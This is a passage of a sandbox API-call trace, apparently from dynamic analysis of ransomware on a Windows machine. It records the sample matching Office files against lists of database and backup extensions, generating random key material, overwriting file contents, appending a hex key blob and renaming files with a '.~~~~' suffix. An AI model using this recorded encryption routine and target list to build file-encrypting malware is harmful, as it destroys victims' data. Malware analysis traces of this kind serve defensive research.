	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".CKP") returned 0x0
	[0137.961] lstrlenW (lpString=".edb") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".edb") returned 0x0
	[0137.961] lstrlenW (lpString=".PST") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".PST") returned 0x0
	[0137.962] lstrlenW (lpString=".dbf") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dbf") returned 0x0
	[0137.962] lstrlenW (lpString=".SQL") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".SQL") returned 0x0
	[0137.962] lstrlenW (lpString=".pst") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".pst") returned 0x0
	[0137.962] lstrlenW (lpString=".dbv") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dbv") returned 0x0
	[0137.962] lstrlenW (lpString=".SDF") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".SDF") returned 0x0
	[0137.962] lstrlenW (lpString=".dtxs") returned 5
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dtxs") returned 0x0
	[0137.962] lstrlenW (lpString=".db3") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".db3") returned 0x0
	[0137.962] lstrlenW (lpString=".OST") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".OST") returned 0x0
	[0137.962] lstrlenW (lpString=".dbx") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dbx") returned 0x0
	[0137.962] lstrlenW (lpString=".DB3") returned 4
	[0137.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DB3") returned 0x0
	[0137.963] lstrlenW (lpString=".DAT") returned 4
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DAT") returned 0x0
	[0137.963] lstrlenW (lpString=".VHDX") returned 5
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".VHDX") returned 0x0
	[0137.963] lstrlenW (lpString=".ndf") returned 4
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".ndf") returned 0x0
	[0137.963] lstrlenW (lpString=".DB") returned 3
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DB") returned 0x0
	[0137.963] lstrlenW (lpString=".sql") returned 4
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".sql") returned 0x0
	[0137.963] lstrlenW (lpString=".MYD") returned 4
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".MYD") returned 0x0
	[0137.963] lstrlenW (lpString=".DBT") returned 4
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DBT") returned 0x0
	[0137.963] lstrlenW (lpString=".ACCDB") returned 6
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".ACCDB") returned 0x0
	[0137.963] lstrlenW (lpString=".fdb") returned 4
	[0137.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".fdb") returned 0x0
	[0137.963] lstrlenW (lpString=".bak") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".bak") returned 0x0
	[0137.964] lstrlenW (lpString=".myd") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".myd") returned 0x0
	[0137.964] lstrlenW (lpString=".DTXS") returned 5
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DTXS") returned 0x0
	[0137.964] lstrlenW (lpString=".ckp") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".ckp") returned 0x0
	[0137.964] lstrlenW (lpString=".dbt") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dbt") returned 0x0
	[0137.964] lstrlenW (lpString=".db") returned 3
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".db") returned 0x0
	[0137.964] lstrlenW (lpString=".TXT") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".TXT") returned 0x0
	[0137.964] lstrlenW (lpString=".MDF") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".MDF") returned 0x0
	[0137.964] lstrlenW (lpString=".bdb") returned 4
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".bdb") returned 0x0
	[0137.964] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.965] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.966] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.966] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.966] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25795614355) returned 1
	[0137.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbbad60f0, dwHighDateTime=0x1d60e1e)) 
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e50a8
	[0137.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e50a8 | out: hHeap=0x300000) returned 1
	[0137.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce6c8
	[0137.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0137.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce6c8 | out: hHeap=0x300000) returned 1
	[0137.967] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.967] GetLastError () returned 0x0
	[0137.967] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.967] GetLastError () returned 0x0
	[0137.971] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.971] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.972] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.972] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.973] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.973] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.973] CloseHandle (hObject=0xc4) returned 1
	[0137.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce6c8
	[0137.973] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css.~~~~")) returned 1
	[0137.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce6c8 | out: hHeap=0x300000) returned 1
	[0137.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.975] GetLastError () returned 0x0
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".scr") returned 0x0
	[0137.976] lstrlenW (lpString=".cmd") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".cmd") returned 0x0
	[0137.976] lstrlenW (lpString=".dll") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dll") returned 0x0
	[0137.976] lstrlenW (lpString=".bat") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".bat") returned 0x0
	[0137.976] lstrlenW (lpString=".cpl") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".cpl") returned 0x0
	[0137.976] lstrlenW (lpString=".sys") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".sys") returned 0x0
	[0137.976] lstrlenW (lpString=".msc") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".msc") returned 0x0
	[0137.976] lstrlenW (lpString=".com") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".com") returned 0x0
	[0137.976] lstrlenW (lpString=".lnk") returned 4
	[0137.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".lnk") returned 0x0
	[0137.977] lstrlenW (lpString=".msp") returned 4
	[0137.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".msp") returned 0x0
	[0137.977] lstrlenW (lpString=".pif") returned 4
	[0137.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".pif") returned 0x0
	[0137.977] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.979] lstrlenW (lpString=".sqb") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".sqb") returned 0x0
	[0137.979] lstrlenW (lpString=".ost") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".ost") returned 0x0
	[0137.979] lstrlenW (lpString=".txt") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".txt") returned 0x0
	[0137.979] lstrlenW (lpString=".mdt") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".mdt") returned 0x0
	[0137.979] lstrlenW (lpString=".BDB") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".BDB") returned 0x0
	[0137.979] lstrlenW (lpString=".eql") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".eql") returned 0x0
	[0137.979] lstrlenW (lpString=".DBF") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DBF") returned 0x0
	[0137.979] lstrlenW (lpString=".EQL") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".EQL") returned 0x0
	[0137.979] lstrlenW (lpString=".FDB") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".FDB") returned 0x0
	[0137.979] lstrlenW (lpString=".EDB") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".EDB") returned 0x0
	[0137.979] lstrlenW (lpString=".DACPAC") returned 7
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.979] lstrlenW (lpString=".VHD") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".VHD") returned 0x0
	[0137.979] lstrlenW (lpString=".DBV") returned 4
	[0137.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DBV") returned 0x0
	[0137.980] lstrlenW (lpString=".dacpac") returned 7
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dacpac") returned 0x0
	[0137.980] lstrlenW (lpString=".sdf") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".sdf") returned 0x0
	[0137.980] lstrlenW (lpString=".accdb") returned 6
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".accdb") returned 0x0
	[0137.980] lstrlenW (lpString=".DBX") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DBX") returned 0x0
	[0137.980] lstrlenW (lpString=".MDT") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".MDT") returned 0x0
	[0137.980] lstrlenW (lpString=".SQB") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".SQB") returned 0x0
	[0137.980] lstrlenW (lpString=".vhd") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".vhd") returned 0x0
	[0137.980] lstrlenW (lpString=".bac") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".bac") returned 0x0
	[0137.980] lstrlenW (lpString=".mdf") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".mdf") returned 0x0
	[0137.980] lstrlenW (lpString=".BAK") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".BAK") returned 0x0
	[0137.980] lstrlenW (lpString=".BAC") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".BAC") returned 0x0
	[0137.980] lstrlenW (lpString=".dbs") returned 4
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dbs") returned 0x0
	[0137.980] lstrlenW (lpString=".vhdx") returned 5
	[0137.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".vhdx") returned 0x0
	[0137.980] lstrlenW (lpString=".NDF") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".NDF") returned 0x0
	[0137.981] lstrlenW (lpString=".dat") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dat") returned 0x0
	[0137.981] lstrlenW (lpString=".DBS") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DBS") returned 0x0
	[0137.981] lstrlenW (lpString=".CKP") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".CKP") returned 0x0
	[0137.981] lstrlenW (lpString=".edb") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".edb") returned 0x0
	[0137.981] lstrlenW (lpString=".PST") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".PST") returned 0x0
	[0137.981] lstrlenW (lpString=".dbf") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dbf") returned 0x0
	[0137.981] lstrlenW (lpString=".SQL") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".SQL") returned 0x0
	[0137.981] lstrlenW (lpString=".pst") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".pst") returned 0x0
	[0137.981] lstrlenW (lpString=".dbv") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dbv") returned 0x0
	[0137.981] lstrlenW (lpString=".SDF") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".SDF") returned 0x0
	[0137.981] lstrlenW (lpString=".dtxs") returned 5
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dtxs") returned 0x0
	[0137.981] lstrlenW (lpString=".db3") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".db3") returned 0x0
	[0137.981] lstrlenW (lpString=".OST") returned 4
	[0137.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".OST") returned 0x0
	[0137.982] lstrlenW (lpString=".dbx") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dbx") returned 0x0
	[0137.982] lstrlenW (lpString=".DB3") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DB3") returned 0x0
	[0137.982] lstrlenW (lpString=".DAT") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DAT") returned 0x0
	[0137.982] lstrlenW (lpString=".VHDX") returned 5
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".VHDX") returned 0x0
	[0137.982] lstrlenW (lpString=".ndf") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".ndf") returned 0x0
	[0137.982] lstrlenW (lpString=".DB") returned 3
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DB") returned 0x0
	[0137.982] lstrlenW (lpString=".sql") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".sql") returned 0x0
	[0137.982] lstrlenW (lpString=".MYD") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".MYD") returned 0x0
	[0137.982] lstrlenW (lpString=".DBT") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DBT") returned 0x0
	[0137.982] lstrlenW (lpString=".ACCDB") returned 6
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".ACCDB") returned 0x0
	[0137.982] lstrlenW (lpString=".fdb") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".fdb") returned 0x0
	[0137.982] lstrlenW (lpString=".bak") returned 4
